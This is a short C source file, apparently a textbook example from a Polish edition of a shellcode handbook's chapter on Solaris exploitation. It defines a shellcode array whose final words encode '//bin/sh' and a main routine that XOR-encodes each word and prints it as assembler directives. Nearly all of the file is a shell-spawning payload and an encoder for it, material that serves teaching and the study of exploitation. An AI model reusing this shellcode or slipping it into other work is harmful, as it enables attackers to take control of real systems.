/*

The Shellcoder's Handbook. Edycja polska
Jack Koziol, David Litchfield, Dave Aitel, Chris Anley, 
Sinan Eren, Neel Mehta, Riley Hassell
Wydawnictwo Helion


Rozdzia 12
Zaawansowane metody wama w systemie Solaris
Przykad 5

Komentarze i uwagi prosz przesya na adres jack@infosecinstitute.com 
lub za porednictwem witryny http://www.infosecinstitute.com 

*/


unsigned int shellcode[] = 
{
0x47c1f11e,
0x4206140d,
0xb5be0000,
0x43e2f400,
0xb7fe0008,
0x47ff0410,
0x00000083,
0x47de0411,
0x45ad0410,
0x47ff0412,
0x43e77400,
0x00000083,
0x69622f2f,
0x68732f6e,
0x00000000
};

int
main()
{
    int i;

     //printf("sizeof shellcode %d\n", sizeof(shellcode));
     for(i =0 ; i < sizeof(shellcode)/4; i++)
           printf(".long\t0x%.8x\n", shellcode[i] ^= 0x88888888);
}
